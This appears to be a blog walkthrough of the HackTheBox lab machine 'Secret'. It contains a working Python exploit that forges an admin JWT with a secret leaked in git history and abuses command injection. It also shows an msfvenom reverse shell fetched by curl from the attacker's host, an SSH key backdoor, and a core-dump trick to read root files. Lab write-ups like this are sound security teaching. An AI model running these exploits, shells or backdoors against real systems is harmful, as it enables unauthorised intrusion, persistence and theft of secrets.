Home Github

HTB | Secret

1. Introduction

Hello and welcome to this write-up for the easy HackTheBox machine Secret!
This was a nice box that shows why it's important to be careful about secrets when developing software and using version control software.
The root flag also showed the danger of enabling coredumps in software, especially SUID binaries.

2. Recon

Let's start with reconnaissance as always.

2.1. Nmap

For initial scan I ran a version scan, running all default scripts on all ports:

# Nmap 7.92 scan initiated Wed Nov  3 12:22:01 2021 as: nmap -sV -sC -O -p- -oA nmap 10.129.254.88
Nmap scan report for 10.129.254.88
Host is up (0.027s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/3%OT=22%CT=1%CU=44760%PV=Y%DS=2%DC=I%G=Y%TM=6182710
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=FA%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov  3 12:22:49 2021 -- 1 IP address (1 host up) scanned in 48.62 seconds

And as you can see above, we have three ports open:

22
OpenSSH 8.2
80
nginx 1.18.0
3000
Node.js

And we can also conclude that it's running Ubuntu.
So now that we know what the what running on the box, we can take a closer look.

2.2. Web recon

This is split into two parts, first some directory brute force to get an overview of the webserver.
Then followed by a manual exploration of the interesting endpoints.

2.2.1. Gobuster

I ran gobuster in directory mode using the raft-small-words-lowercase.txt wordlist on both port 80 and port 3000.
Which gave the same output on both cases, most likely due to poor configuration.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ]
└─> $ gobuster dir -u "http://10.129.170.207" -w $REPOS/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -o gobuster/init_p80
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.170.207
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/c3lphie/repositories/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/17 14:47:32 Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 301) [Size: 183] [--> /download/]
/docs                 (Status: 200) [Size: 20720]
/api                  (Status: 200) [Size: 93]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/.                    (Status: 301) [Size: 169] [--> /./]

===============================================================
2022/01/17 14:51:08 Finished
===============================================================

As you can see we have 5 endpoints:

  • /download
  • /docs
  • /api
  • /assets
  • /.

Now that we now the different endpoints I started to explore them manually.

2.2.2. Manual recon

We get presented with this beauty of a front page when visiting both port 80 and 3000.
2022-03-24_21-34-20_screenshot.png

We also get a nice little source code download down at the bottom of the page:

2022-03-24_21-41-08_screenshot.png

Let's download it, and while waiting for that look around the documentation!

From the documentation we learn that this is an API based authentication system, that utilizes JWT tokens for security.
But its still in development, because of the lorem ipsum placeholder text.
That's even better for us! As it means it's probably filled with holes or stupid mistakes we can utilize.

It links to a test version of the API at /api. Which will become important later!

2.3. Source code

Now that the source code is done downloading, let's examine it a bit more.
After unzipping the src code we see that this is a git repository:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/src/local-web ]
└─> $ ls -al
total 116
drwxrwxr-x   8 c3lphie c3lphie  4096 Sep  3 07:57 .
drwxr-xr-x   3 c3lphie c3lphie  4096 Jan 18 10:54 ..
-rw-rw-r--   1 c3lphie c3lphie    72 Sep  3 07:59 .env
drwxrwxr-x   8 c3lphie c3lphie  4096 Jan 18 10:56 .git
-rw-rw-r--   1 c3lphie c3lphie   885 Sep  3 07:56 index.js
drwxrwxr-x   2 c3lphie c3lphie  4096 Aug 13 06:42 model
drwxrwxr-x 201 c3lphie c3lphie  4096 Aug 13 06:42 node_modules
-rw-rw-r--   1 c3lphie c3lphie   491 Aug 13 06:42 package.json
-rw-rw-r--   1 c3lphie c3lphie 69452 Aug 13 06:42 package-lock.json
drwxrwxr-x   4 c3lphie c3lphie  4096 Sep  3 07:54 public
drwxrwxr-x   2 c3lphie c3lphie  4096 Sep  3 08:32 routes
drwxrwxr-x   4 c3lphie c3lphie  4096 Aug 13 06:42 src
-rw-rw-r--   1 c3lphie c3lphie   651 Aug 13 06:42 validations.js

So let's check the logs for anything interesting!

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/src/local-web ]
└─> $ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@<CENSOR>.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@<CENSOR>.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@<CENSOR>.com>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@<CENSOR>.com>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@<CENSOR>.com>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@<CENSOR>.com>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

The commit just before the removal of .env is really interesting, as it might contain secrets still in use!
So examining the commit with git show 67d8da7a, gives us a secret token:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/src/local-web ]
└─> $ git show 67d8da7a
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

Let's see if there is any other vulns in the src
In the javascript file routes/private.js, there have been implemented a logging function:

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;

    if (name == 'theadmin'){
	const getLogs = `git log --oneline ${file}`;
	exec(getLogs, (err , output) =>{
	    if(err){
		res.status(500).send(err);
		return
	    }
	    res.json(output);
	})
    }
    else{
	res.json({
	    role: {
		role: "you are normal user",
		desc: userinfo.name.name
	    }
	})
    }
})

Line 6 looks like it would be vulnerable to command injection.

Using what I've gathered so far, I created the following python script as a proof of concept exploit:

import requests
import jwt

url = "http://secret.htb:3000"
token_secret = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"

def register(name, password):
    print(f"[+] Registering user {name}, with password: {password}")
    res = requests.post(url + "/api/user/register", json={"name": name, "email": f"{name}@test.dk", "password": password})
    print(res.text)

def login(name="", password="", email=None):
    print("[+] Getting standard jwt token")
    if not email:
	res = requests.post(url + "/api/user/login", json={"email": f"{name}@test.dk", "password": password})
    else:
	res = requests.post(url + "/api/user/login", json={"email": email, "password": password})
    print(res.text)
    return res.text

def priv(jwt):
    headers = {"auth-token": jwt}
    res = requests.get(url + "/api/priv", headers=headers)
    print("[PRIV]: ", res.text)

def logs(jwt, payload):
    headers = {"auth-token": jwt}
    res = requests.get(url + "/api/logs", params=f"file=;{payload}", headers=headers)
    print("[LOGS]: ", res.text)

register("whatever", "strongpassword")
jwt_token = login("whatever", "strongpassword")
jwt_header = jwt.get_unverified_header(jwt_token)
dec = jwt.decode(jwt_token, token_secret, algorithms=jwt_header['alg'])
print("[+] Giving admin rights")
dec['name'] = "theadmin"
jwt_attack = jwt.encode(dec, token_secret, algorithm=jwt_header['alg'])

print("[+] Testing privileges: ")
priv(jwt_token)
priv(jwt_attack)

print("[+] Attacking box")
logs(jwt_attack, "echo 'YOU GOT H4XED'")

I made the following 4 functions:

  • register
  • login
  • priv
  • logs

That interact with the different API endpoints, using the requests library.
Regarding the JWT token authentication I simply used the jwt python library to manipulate the token to gain administrator rights.

Then used the logs function to attack the command injection vulnerability.

When running the script we can confirm that there is indeed RCE!

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ]
└─> $ /usr/bin/python api_exploit.py
[+] Registering user whatever, with password: strongpassword
Email already Exist
[+] Getting standard jwt token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2YjM0YjVlZjdlZjA0NzRlODQ5YzAiLCJuYW1lIjoid2hhdGV2ZXIiLCJlbWFpbCI6IndoYXRldmVyQHRlc3QuZGsiLCJpYXQiOjE2NDI1MTAxNDZ9.X9XBxcTEUdiayt6H-ZYeZtlAwH41Z9GPyLDrR2BXxXU
[+] Giving admin rights
[+] Testing privileges:
[PRIV]:  {"role":{"role":"you are normal user","desc":"whatever"}}
[PRIV]:  {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
[+] Attacking box
[LOGS]:  b'"80bf34c fixed typos \xf0\x9f\x8e\x89\\n0c75212 now we can view logs from server \xf0\x9f\x98\x83\\nab3e953 Added the codes\\nYOU GOT H4XED\\n"'

3. Exploitation

Now that we have confirmed that we can Execute code on the machine, I changed the script to facilitate a pseudo shell.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ]
└─> $ /usr/bin/python api_exploit.py
[+] Registering user whatever, with password: strongpassword
Email already Exist
[+] Getting standard jwt token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2YjM0YjVlZjdlZjA0NzRlODQ5YzAiLCJuYW1lIjoid2hhdGV2ZXIiLCJlbWFpbCI6IndoYXRldmVyQHRlc3QuZGsiLCJpYXQiOjE2NDI1MTI2NTh9.eCZrUu_5DsSB8txKvtSPmEGrSkbsGvkP_x0d55mBgUs
[+] Giving admin rights
[+] Testing privileges:
[PRIV]:  {"role":{"role":"you are normal user","desc":"whatever"}}
[PRIV]:  {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
[+] Creating pseudo shell
> whoami
[LOGS] Encoding payload
[LOGS]  d2hvYW1p
['dasith', '"']
> ls
[LOGS] Encoding payload
[LOGS]  bHM=
['validations.js', '"']
> ls ../
[LOGS] Encoding payload
[LOGS]  bHMgLi4v
['user.txt', '"']
> cat ../user.txt
[LOGS] Encoding payload
[LOGS]  Y2F0IC4uL3VzZXIudHh0
['671a98e1a266ca580df9af1cccc1ae25', '"']

And we got user flag!

I then created a reverse shell using msfvenom, as my usual bash reverse shell didn't work for some reason:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/www ]
└─> $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.17.47 LPORT=4444 -f elf > reverse.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes

I then uploaded the shell using a python webserver:

> curl http://10.10.17.47:8000/reverse.elf -o reverse.elf
[LOGS] Encoding payload
[LOGS]  Y3VybCBodHRwOi8vMTAuMTAuMTcuNDc6ODAwMC9yZXZlcnNlLmVsZiAtbyByZXZlcnNlLmVsZg==
['ab3e953 Added the codes', '"']
> chmod +x reverse.elf
[LOGS] Encoding payload
[LOGS]  Y2htb2QgK3ggcmV2ZXJzZS5lbGY=
['ab3e953 Added the codes', '"']
> ./reverse.elf
[LOGS] Encoding payload
[LOGS]  Li9yZXZlcnNlLmVsZg==
['ab3e953 Added the codes', '"']

Using the msfvenom reverse shell I created a ssh backdoor:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ]
└─> $ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/c3lphie/.ssh/id_rsa): ./www/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./www/id_rsa
Your public key has been saved in ./www/id_rsa.pub
The key fingerprint is:
SHA256:DaB3bowa/luoDh8ZO0B/CA86WsUia9SHRCUVLZfHlt0 c3lphie@c3lphie-laptop
The key's randomart image is:
+---[RSA 3072]----+
|  .+o++ o o .    |
|  o.oo = = . E   |
|..=o+.+ =        |
|.= B.o = o       |
|+.o * o S .      |
|oo o B o         |
|. . B . .        |
|   o = .         |
|   .+ o.         |
+----[SHA256]-----+

This was done manually as there wasn't an existing .ssh folder:

dasith@secret:/home/dasith$ mkdir .ssh
dasith@secret:/home/dasith$ cd .ssh/
dasith@secret:/home/dasith/.ssh$ curl http://10.10.17.47:8000/id_rsa.p<.ssh$ curl http://10.10.17.47:8000/id_rsa.pub > authorized_keys        % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:100   576  100   576    0     0   1650      0 --:--:-- --:--:-- --:--:100   576  100   576    0     0   1645      0 --:--:-- --:--:-- --:--:--  1641
dasith@secret:/home/dasith/.ssh$

Now we can just ssh into box instead of making reverse shells!

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/www ]
└─> $ ssh -i id_rsa dasith@secret.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 18 Jan 2022 02:51:21 PM UTC

  System load:  0.0               Processes:             224
  Usage of /:   52.8% of 8.79GB   Users logged in:       0
  Memory usage: 76%               IPv4 address for eth0: 10.129.170.207
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 18 14:49:18 2022 from 10.10.17.47
dasith@secret:~$

3.1. Priv esc

Now that we have a better shell, let's see if we can find anything to get root!
I enumerated for SUID binaries in the hopes that I could utilize GTFObins for an easy root.

dasith@secret:/dev/shm$ find / -perm -4000 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign

There is a binary in /opt/ with setuid permissions:

dasith@secret:/opt$ ls
code.c  count  valgrind.log

If we run the program and point it to /root we can see it's contents:

dasith@secret:/opt$ ./count
Enter source file/directory name: /root
-rw-r--r--      .viminfo
drwxr-xr-x      ..
-rw-r--r--      .bashrc
drwxr-xr-x      .local
drwxr-xr-x      snap
lrwxrwxrwx      .bash_history
drwx------      .config
drwxr-xr-x      .pm2
-rw-r--r--      .profile
drwxr-xr-x      .vim
drwx------      .
drwx------      .cache
-r--------      root.txt
drwxr-xr-x      .npm
drwx------      .ssh

Total entries       = 15
Regular files       = 4
Directories         = 10
Symbolic links      = 1
Save results a file? [y/N]: Y
Path: /dev/shm/root_dir_count

They were even so nice and let us look into the source code of the binary!
There aren't any vulnerabilities that give us the posibility of spawning a root shell…

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
	dircount(path, summary);
    else
	filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
	printf("Path: ");
	scanf("%99s", path);
	FILE *fp = fopen(path, "a");
	if (fp != NULL) {
	    fputs(summary, fp);
	    fclose(fp);
	} else {
	    printf("Could not open %s for writing\n", path);
	}
    }

    return 0;
}

But as you can see in the comment, coredump are generated on errors!

Which means that we can read the memory of the program, we can abuse this to get the root flag!

If we abort the process before saving the results, the file content should be present in the dump.

First we start the program and give it the flag:

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: Aborted (core dumped)

While this is open, we can use:

kill -ABRT $(pidof count)

To force a coredump

The coredump is located in /var/crash/_opt_count.1000.crash, a text file containing a lot of info

using the command:

apport-unpack _opt_count.1000.crash /dev/shm/crash_dump/

we get a bunch of nice files in our little crash_dump folder:

dasith@secret:/dev/shm/crash_dump$ ls
Architecture  Date           ExecutablePath       _LogindSession  ProcCmdline  ProcEnviron  ProcStatus  Uname
CoreDump      DistroRelease  ExecutableTimestamp  ProblemType     ProcCwd      ProcMaps     Signal      UserGroups

We can on the CoreDump file run strings and grep after our flag file

dasith@secret:/dev/shm/crash_dump$ strings CoreDump | grep root -A 1
/root/root.txt
a8a38392ccc0218d41b85f3f1a1e0d0b
--
/root/root.txt
Total characters = 33

And there we have it :D

4. Final words

Thank you for taking some time out of your day to read this post.
If you enjoyed this post, feel free to join my Discord server to get notification whenever I post something and ask questions if there are any.